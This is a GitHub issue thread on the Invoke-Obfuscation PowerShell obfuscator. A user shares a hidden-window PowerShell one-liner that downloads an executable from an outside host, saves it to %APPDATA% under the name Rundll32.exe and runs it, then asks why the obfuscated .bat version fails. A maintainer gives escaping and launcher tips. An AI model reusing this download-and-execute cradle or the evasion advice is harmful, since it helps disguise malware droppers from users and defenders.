danielbohannon / Invoke-Obfuscation

PowerShell Obfuscator
Apache License 2.0
3.59k stars 759 forks source link

invoke obfuscation damage putty.bat file #37

Closed killercoderz4 closed 4 years ago

killercoderz4 commented 6 years ago

good day sir , i was experimenting with invoke obfuscation. here is sample code below

PowerShell -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe','%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe' now when i save is as putty.bat and execute it works. now when i use invoke onfuscation, i followed all the steps from selecting encoding and defining scriptpath and using bxor encryption method and out the file by output and save it as puttynew.bat. it compiles smoothly. now i execute the obfuscated file and u see it stops executing putty. please can u run the test. you would see what am talking about.please any steps you took to get it working i apprecaite you help me , i want to understand d how it works. thanks

cobbr commented 6 years ago

A couple of issues.

First, Invoke-Obfuscation does not support output to a .bat file currently. Others have identified that you may only need to encode the % character like %%. Check out #36

Second, you'll want to use a LAUNCHER obfuscation option if you are trying to launch something from the command line or bat file. If you are only using BXOR obfuscation on a script, you'll need to launch it from within PowerShell.